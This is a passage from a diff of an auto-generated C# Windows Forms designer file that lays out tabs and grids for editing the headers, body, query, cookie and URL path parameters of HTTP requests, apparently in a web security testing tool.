new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CookieParametersTab = new System.Windows.Forms.TabPage(); + this.CookieParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HeadersParametersTab = new System.Windows.Forms.TabPage(); + this.HeadersParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParametersErrorTB = new System.Windows.Forms.TextBox(); + this.ParametersProgressBar = new System.Windows.Forms.ProgressBar(); + this.WaitProgressBar = new System.Windows.Forms.ProgressBar(); + this.UseSSLCB = new System.Windows.Forms.CheckBox(); + this.StatusAndErrorTB = new System.Windows.Forms.TextBox(); + this.ironDataView1 = new IronDataView.IronDataView(); + this.ironDataView2 = new IronDataView.IronDataView(); + this.ironDataView3 = new IronDataView.IronDataView(); + this.BaseTabs.SuspendLayout(); + this.HeadersTab.SuspendLayout(); + this.BodyTab.SuspendLayout(); + this.BodyParametersTab.SuspendLayout(); + this.BodyParametersFormatTypeTabs.SuspendLayout(); + this.BodyTypeNormalTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.BodyNormalTypeParametersGrid)).BeginInit(); + this.BodyTypeFormatPluginTab.SuspendLayout(); + this.ASRequestBodyTabSplit.Panel1.SuspendLayout(); + this.ASRequestBodyTabSplit.Panel2.SuspendLayout(); + this.ASRequestBodyTabSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); + this.ScanBodyFormatPluginTypeTabs.SuspendLayout(); + this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).BeginInit(); + this.BodyTypeFormatPluginXMLTab.SuspendLayout(); + this.FormatXmlBaseSplit.Panel1.SuspendLayout(); + this.FormatXmlBaseSplit.Panel2.SuspendLayout(); + this.FormatXmlBaseSplit.SuspendLayout(); + this.OtherParametersTab.SuspendLayout(); + this.OtherParametersTabs.SuspendLayout(); + this.UrlPathPartsParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).BeginInit(); + this.QueryParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).BeginInit(); + this.CookieParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).BeginInit(); + this.HeadersParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).BeginInit(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BaseTabs.Controls.Add(this.HeadersTab); + this.BaseTabs.Controls.Add(this.BodyTab); + this.BaseTabs.Controls.Add(this.BodyParametersTab); + this.BaseTabs.Controls.Add(this.OtherParametersTab); + this.BaseTabs.Location = new System.Drawing.Point(0, 28); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(682, 220); + this.BaseTabs.TabIndex = 5; + // + // HeadersTab + // + this.HeadersTab.Controls.Add(this.ironDataView3); + this.HeadersTab.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersTab.Location = new System.Drawing.Point(4, 22); + this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); + this.HeadersTab.Name = "HeadersTab"; + this.HeadersTab.Size = new System.Drawing.Size(674, 194); + this.HeadersTab.TabIndex = 0; + this.HeadersTab.Text = "Headers"; + this.HeadersTab.UseVisualStyleBackColor = true; + // + // BodyTab + // + this.BodyTab.Controls.Add(this.ironDataView1); + this.BodyTab.Location = new System.Drawing.Point(4, 22); + this.BodyTab.Name = "BodyTab"; + this.BodyTab.Size = new System.Drawing.Size(674, 194); + this.BodyTab.TabIndex = 3; + this.BodyTab.Text = "Body"; + this.BodyTab.UseVisualStyleBackColor = true; + // + // BodyParametersTab + // + this.BodyParametersTab.Controls.Add(this.BodyParametersFormatTypeTabs); + this.BodyParametersTab.Location = new System.Drawing.Point(4, 22); + this.BodyParametersTab.Name = "BodyParametersTab"; + this.BodyParametersTab.Size = new System.Drawing.Size(674, 194); + this.BodyParametersTab.TabIndex = 4; + this.BodyParametersTab.Text = "Body Parameters"; + this.BodyParametersTab.UseVisualStyleBackColor = true; + // + // BodyParametersFormatTypeTabs + // + this.BodyParametersFormatTypeTabs.Controls.Add(this.BodyTypeNormalTab); + this.BodyParametersFormatTypeTabs.Controls.Add(this.BodyTypeFormatPluginTab); + this.BodyParametersFormatTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyParametersFormatTypeTabs.Location = new System.Drawing.Point(0, 0); + this.BodyParametersFormatTypeTabs.Margin = new System.Windows.Forms.Padding(0); + this.BodyParametersFormatTypeTabs.Multiline = true; + this.BodyParametersFormatTypeTabs.Name = "BodyParametersFormatTypeTabs"; + this.BodyParametersFormatTypeTabs.Padding = new System.Drawing.Point(0, 0); + this.BodyParametersFormatTypeTabs.SelectedIndex = 0; + this.BodyParametersFormatTypeTabs.Size = new System.Drawing.Size(674, 194); + this.BodyParametersFormatTypeTabs.TabIndex = 3; + // + // BodyTypeNormalTab + // + this.BodyTypeNormalTab.Controls.Add(this.BodyNormalTypeParametersGrid); + this.BodyTypeNormalTab.Location = new System.Drawing.Point(4, 40); + this.BodyTypeNormalTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeNormalTab.Name = "BodyTypeNormalTab"; + this.BodyTypeNormalTab.Size = new System.Drawing.Size(184, 30); + this.BodyTypeNormalTab.TabIndex = 0; + this.BodyTypeNormalTab.Text = "Normal Body Type"; + this.BodyTypeNormalTab.UseVisualStyleBackColor = true; + // + // BodyNormalTypeParametersGrid + // + this.BodyNormalTypeParametersGrid.AllowUserToAddRows = false; + this.BodyNormalTypeParametersGrid.AllowUserToDeleteRows = false; + this.BodyNormalTypeParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.BodyNormalTypeParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.BodyNormalTypeParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.BodyNormalTypeParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn9, + this.dataGridViewTextBoxColumn10}); + this.BodyNormalTypeParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyNormalTypeParametersGrid.GridColor = System.Drawing.Color.White; + this.BodyNormalTypeParametersGrid.Location = new System.Drawing.Point(0, 0); + this.BodyNormalTypeParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.BodyNormalTypeParametersGrid.Name = "BodyNormalTypeParametersGrid"; + this.BodyNormalTypeParametersGrid.RowHeadersVisible = false; + this.BodyNormalTypeParametersGrid.Size = new System.Drawing.Size(184, 30); + this.BodyNormalTypeParametersGrid.TabIndex = 1; + // + // dataGridViewTextBoxColumn9 + // + this.dataGridViewTextBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn9.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; + this.dataGridViewTextBoxColumn9.ReadOnly = true; + // + // dataGridViewTextBoxColumn10 + // + this.dataGridViewTextBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn10.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; + // + // BodyTypeFormatPluginTab + // + this.BodyTypeFormatPluginTab.Controls.Add(this.ASRequestBodyTabSplit); + this.BodyTypeFormatPluginTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginTab.Name = "BodyTypeFormatPluginTab"; + this.BodyTypeFormatPluginTab.Size = new System.Drawing.Size(666, 168); + this.BodyTypeFormatPluginTab.TabIndex = 1; + this.BodyTypeFormatPluginTab.Text = "Other Known Formats (Eg: XML, JSON etc)"; + this.BodyTypeFormatPluginTab.UseVisualStyleBackColor = true; + // + // ASRequestBodyTabSplit + // + this.ASRequestBodyTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestBodyTabSplit.Location = new System.Drawing.Point(0, 0); + this.ASRequestBodyTabSplit.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestBodyTabSplit.Name = "ASRequestBodyTabSplit"; + // + // ASRequestBodyTabSplit.Panel1 + // + this.ASRequestBodyTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); + // + // ASRequestBodyTabSplit.Panel2 + // + this.ASRequestBodyTabSplit.Panel2.Controls.Add(this.ScanBodyFormatPluginTypeTabs); + this.ASRequestBodyTabSplit.Size = new System.Drawing.Size(666, 168); + this.ASRequestBodyTabSplit.SplitterDistance = 112; + this.ASRequestBodyTabSplit.SplitterWidth = 2; + this.ASRequestBodyTabSplit.TabIndex = 0; + // + // FormatPluginsGrid + // + this.FormatPluginsGrid.AllowUserToAddRows = false; + this.FormatPluginsGrid.AllowUserToDeleteRows = false; + this.FormatPluginsGrid.AllowUserToResizeRows = false; + this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestBodyDataFormatSelectColumn, + this.ASRequestBodyDataFormatColumn}); + this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; + this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); + this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.FormatPluginsGrid.MultiSelect = false; + this.FormatPluginsGrid.Name = "FormatPluginsGrid"; + this.FormatPluginsGrid.RowHeadersVisible = false; + this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FormatPluginsGrid.Size = new System.Drawing.Size(112, 168); + this.FormatPluginsGrid.TabIndex = 0; + // + // ASRequestBodyDataFormatSelectColumn + // + this.ASRequestBodyDataFormatSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestBodyDataFormatSelectColumn.HeaderText = ""; + this.ASRequestBodyDataFormatSelectColumn.MinimumWidth = 20; + this.ASRequestBodyDataFormatSelectColumn.Name = "ASRequestBodyDataFormatSelectColumn"; + this.ASRequestBodyDataFormatSelectColumn.Width = 20; + // + // ASRequestBodyDataFormatColumn + // + this.ASRequestBodyDataFormatColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestBodyDataFormatColumn.HeaderText = "Select Format"; + this.ASRequestBodyDataFormatColumn.Name = "ASRequestBodyDataFormatColumn"; + this.ASRequestBodyDataFormatColumn.ReadOnly = true; + this.ASRequestBodyDataFormatColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanBodyFormatPluginTypeTabs + // + this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); + this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); + this.ScanBodyFormatPluginTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanBodyFormatPluginTypeTabs.Location = new System.Drawing.Point(0, 0); + this.ScanBodyFormatPluginTypeTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScanBodyFormatPluginTypeTabs.Multiline = true; + this.ScanBodyFormatPluginTypeTabs.Name = "ScanBodyFormatPluginTypeTabs"; + this.ScanBodyFormatPluginTypeTabs.Padding = new System.Drawing.Point(0, 0); + this.ScanBodyFormatPluginTypeTabs.SelectedIndex = 0; + this.ScanBodyFormatPluginTypeTabs.Size = new System.Drawing.Size(552, 168); + this.ScanBodyFormatPluginTypeTabs.TabIndex = 0; + // + // BodyTypeFormatPluginInjectionArrayGridTab + // + this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyFormatPluginsParametersGrid); + this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; + this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(544, 142); + this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; + this.BodyTypeFormatPluginInjectionArrayGridTab.Text = "Name/Value View"; + this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; + // + // BodyFormatPluginsParametersGrid + // + this.BodyFormatPluginsParametersGrid.AllowUserToAddRows = false; + this.BodyFormatPluginsParametersGrid.AllowUserToDeleteRows = false; + this.BodyFormatPluginsParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.BodyFormatPluginsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.BodyFormatPluginsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.BodyFormatPluginsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn3, + this.dataGridViewTextBoxColumn4}); + this.BodyFormatPluginsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyFormatPluginsParametersGrid.GridColor = System.Drawing.Color.White; + this.BodyFormatPluginsParametersGrid.Location = new System.Drawing.Point(0, 0); + this.BodyFormatPluginsParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.BodyFormatPluginsParametersGrid.Name = "BodyFormatPluginsParametersGrid"; + this.BodyFormatPluginsParametersGrid.RowHeadersVisible = false; + this.BodyFormatPluginsParametersGrid.Size = new System.Drawing.Size(544, 142); + this.BodyFormatPluginsParametersGrid.TabIndex = 2; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn3.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn4.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + // + // BodyTypeFormatPluginXMLTab + // + this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXmlBaseSplit); + this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginXMLTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; + this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(544, 142); + this.BodyTypeFormatPluginXMLTab.TabIndex = 1; + this.BodyTypeFormatPluginXMLTab.Text = "Normalized XML View"; + this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; + // + // FormatXmlBaseSplit + // + this.FormatXmlBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatXmlBaseSplit.Location = new System.Drawing.Point(0, 0); + this.FormatXmlBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.FormatXmlBaseSplit.Name = "FormatXmlBaseSplit"; + // + // FormatXmlBaseSplit.Panel1 + // + this.FormatXmlBaseSplit.Panel1.Controls.Add(this.textBox2); + this.FormatXmlBaseSplit.Panel1.Controls.Add(this.ConvertXmlToObjectBtn); + // + // FormatXmlBaseSplit.Panel2 + // + this.FormatXmlBaseSplit.Panel2.Controls.Add(this.ironDataView2); + this.FormatXmlBaseSplit.Size = new System.Drawing.Size(544, 142); + this.FormatXmlBaseSplit.SplitterDistance = 116; + this.FormatXmlBaseSplit.SplitterWidth = 2; + this.FormatXmlBaseSplit.TabIndex = 5; + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox2.Location = new System.Drawing.Point(0, 0); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.Size = new System.Drawing.Size(116, 83); + this.textBox2.TabIndex = 5; + this.textBox2.TabStop = false; + this.textBox2.Text = "You make changes to the XML and then update the changes to the Request body by cl" + + "icking the buttom at the bottom."; + // + // ConvertXmlToObjectBtn + // + this.ConvertXmlToObjectBtn.Dock = System.Windows.Forms.DockStyle.Bottom; + this.ConvertXmlToObjectBtn.Location = new System.Drawing.Point(0, 89); + this.ConvertXmlToObjectBtn.Name = "ConvertXmlToObjectBtn"; + this.ConvertXmlToObjectBtn.Size = new System.Drawing.Size(116, 53); + this.ConvertXmlToObjectBtn.TabIndex = 3; + this.ConvertXmlToObjectBtn.Text = "Convert this XML to object"; + this.ConvertXmlToObjectBtn.UseVisualStyleBackColor = true; + // + // OtherParametersTab + // + this.OtherParametersTab.Controls.Add(this.OtherParametersTabs); + this.OtherParametersTab.Controls.Add(this.ParametersErrorTB); + this.OtherParametersTab.Controls.Add(this.ParametersProgressBar); + this.OtherParametersTab.Location = new System.Drawing.Point(4, 22); + this.OtherParametersTab.Margin = new System.Windows.Forms.Padding(0); + this.OtherParametersTab.Name = "OtherParametersTab"; + this.OtherParametersTab.Size = new System.Drawing.Size(192, 74); + this.OtherParametersTab.TabIndex = 1; + this.OtherParametersTab.Text = "Parameters"; + this.OtherParametersTab.UseVisualStyleBackColor = true; + // + // OtherParametersTabs + // + this.OtherParametersTabs.Controls.Add(this.UrlPathPartsParametersTab); + this.OtherParametersTabs.Controls.Add(this.QueryParametersTab); + this.OtherParametersTabs.Controls.Add(this.CookieParametersTab); + this.OtherParametersTabs.Controls.Add(this.HeadersParametersTab); + this.OtherParametersTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.OtherParametersTabs.Location = new System.Drawing.Point(0, 0); + this.OtherParametersTabs.Margin = new System.Windows.Forms.Padding(0); + this.OtherParametersTabs.MinimumSize = new System.Drawing.Size(50, 50); + this.OtherParametersTabs.Name = "OtherParametersTabs"; + this.OtherParametersTabs.Padding = new System.Drawing.Point(0, 0); + this.OtherParametersTabs.SelectedIndex = 0; + this.OtherParametersTabs.Size = new System.Drawing.Size(192, 74); + this.OtherParametersTabs.TabIndex = 5; + // + // UrlPathPartsParametersTab + // + this.UrlPathPartsParametersTab.Controls.Add(this.UrlPathPartsParametersGrid); + this.UrlPathPartsParametersTab.Location = new System.Drawing.Point(4, 22); + this.UrlPathPartsParametersTab.Margin = new System.Windows.Forms.Padding(0); + this.UrlPathPartsParametersTab.Name = "UrlPathPartsParametersTab"; + this.UrlPathPartsParametersTab.Size = new System.Drawing.Size(184, 48); + this.UrlPathPartsParametersTab.TabIndex = 4; + this.UrlPathPartsParametersTab.Text = "Url Path Parts"; + this.UrlPathPartsParametersTab.UseVisualStyleBackColor = true; + // + // UrlPathPartsParametersGrid + // + this.UrlPathPartsParametersGrid.AllowUserToAddRows = false; + this.UrlPathPartsParametersGrid.AllowUserToDeleteRows = false; + this.UrlPathPartsParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.UrlPathPartsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.UrlPathPartsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.UrlPathPartsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn1, + this.dataGridViewTextBoxColumn2}); + this.UrlPathPartsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.UrlPathPartsParametersGrid.GridColor = System.Drawing.Color.White; + this.UrlPathPartsParametersGrid.Location = new System.Drawing.Point(0, 0); + this.UrlPathPartsParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.UrlPathPartsParametersGrid.Name = "UrlPathPartsParametersGrid"; + this.UrlPathPartsParametersGrid.RowHeadersVisible = false; + this.UrlPathPartsParametersGrid.Size = new System.Drawing.Size(184, 48); + this.UrlPathPartsParametersGrid.TabIndex = 1; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "POSITION"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn2.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + // + // QueryParametersTab + // + this.QueryParametersTab.Controls.Add(this.QueryParametersGrid); + this.QueryParametersTab.Location = new System.Drawing.Point(4, 22); + this.QueryParametersTab.Margin = new System.Windows.Forms.Padding(0); + this.QueryParametersTab.Name = "QueryParametersTab"; + this.QueryParametersTab.Size = new System.Drawing.Size(184, 48); + this.QueryParametersTab.TabIndex = 0; + this.QueryParametersTab.Text = "Query"; + this.QueryParametersTab.UseVisualStyleBackColor = true; + // + // QueryParametersGrid + // + this.QueryParametersGrid.AllowUserToAddRows = false; + this.QueryParametersGrid.AllowUserToDeleteRows = false; + this.QueryParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.QueryParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.QueryParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.QueryParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn7, + this.dataGridViewTextBoxColumn8}); + this.QueryParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.QueryParametersGrid.GridColor = System.Drawing.Color.White; + this.QueryParametersGrid.Location = new System.Drawing.Point(0, 0); + this.QueryParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.QueryParametersGrid.Name = "QueryParametersGrid"; + this.QueryParametersGrid.RowHeadersVisible = false; + this.QueryParametersGrid.Size = new System.Drawing.Size(184, 48); + this.QueryParametersGrid.TabIndex = 0; + // + // dataGridViewTextBoxColumn7 + // + this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn7.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; + this.dataGridViewTextBoxColumn7.ReadOnly = true; + // + // dataGridViewTextBoxColumn8 + // + this.dataGridViewTextBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn8.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; + // + // CookieParametersTab + // + this.CookieParametersTab.Controls.Add(this.CookieParametersGrid); + this.CookieParametersTab.Location = new System.Drawing.Point(4, 22); + this.CookieParametersTab.Margin = new System.Windows.Forms.Padding(0); + this.CookieParametersTab.Name = "CookieParametersTab"; + this.CookieParametersTab.Size = new System.Drawing.Size(184, 48); + this.CookieParametersTab.TabIndex = 2; + this.CookieParametersTab.Text = "Cookie"; + this.CookieParametersTab.UseVisualStyleBackColor = true; + // + // CookieParametersGrid + // + this.CookieParametersGrid.AllowUserToAddRows = false; + this.CookieParametersGrid.AllowUserToDeleteRows = false; + this.CookieParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.CookieParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.CookieParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.CookieParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn11, + this.dataGridViewTextBoxColumn12}); + this.CookieParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.CookieParametersGrid.GridColor = System.Drawing.Color.White; + this.CookieParametersGrid.Location = new System.Drawing.Point(0, 0); + this.CookieParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.CookieParametersGrid.Name = "CookieParametersGrid"; + this.CookieParametersGrid.RowHeadersVisible = false; + this.CookieParametersGrid.Size = new System.Drawing.Size(184, 48); + this.CookieParametersGrid.TabIndex = 1; + // + // dataGridViewTextBoxColumn11 + // + this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn11.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; + this.dataGridViewTextBoxColumn11.ReadOnly = true; + // + // dataGridViewTextBoxColumn12 + // + this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn12.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; + // + // HeadersParametersTab + // + this.HeadersParametersTab.Controls.Add(this.HeadersParametersGrid); + this.HeadersParametersTab.Location = new System.Drawing.Point(4, 22); + this.HeadersParametersTab.Margin = new System.Windows.Forms.Padding(0); + this.HeadersParametersTab.Name = "HeadersParametersTab"; + this.HeadersParametersTab.Size = new System.Drawing.Size(184, 48); + this.HeadersParametersTab.TabIndex = 3; + this.HeadersParametersTab.Text = "Headers"; + this.HeadersParametersTab.UseVisualStyleBackColor = true; + // + // HeadersParametersGrid + // + this.HeadersParametersGrid.AllowUserToAddRows = false; + this.HeadersParametersGrid.AllowUserToDeleteRows = false; + this.HeadersParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.HeadersParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HeadersParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.HeadersParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn13, + this.dataGridViewTextBoxColumn14}); + this.HeadersParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.HeadersParametersGrid.GridColor = System.Drawing.Color.White; + this.HeadersParametersGrid.Location = new System.Drawing.Point(0, 0); + this.HeadersParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.HeadersParametersGrid.Name = "HeadersParametersGrid"; + this.HeadersParametersGrid.RowHeadersVisible = false; + this.HeadersParametersGrid.Size = new System.Drawing.Size(184, 48); + this.HeadersParametersGrid.TabIndex = 1; + // + // dataGridViewTextBoxColumn13 + // + this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn13.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; + this.dataGridViewTextBoxColumn13.ReadOnly = true; + // + // dataGridViewTextBoxColumn14 + // + this.dataGridViewTextBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn14.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; + // + // ParametersErrorTB + // + this.ParametersErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ParametersErrorTB.BackColor = System.Drawing.SystemColors.Window; + this.ParametersErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ParametersErrorTB.ForeColor = System.Drawing.Color.Red; + this.ParametersErrorTB.Location = new System.Drawing.Point(346, 9); + this.ParametersErrorTB.Name = "ParametersErrorTB"; + this.ParametersErrorTB.ReadOnly = true; + this.ParametersErrorTB.Size = new System.Drawing.Size(0, 13); + this.ParametersErrorTB.TabIndex = 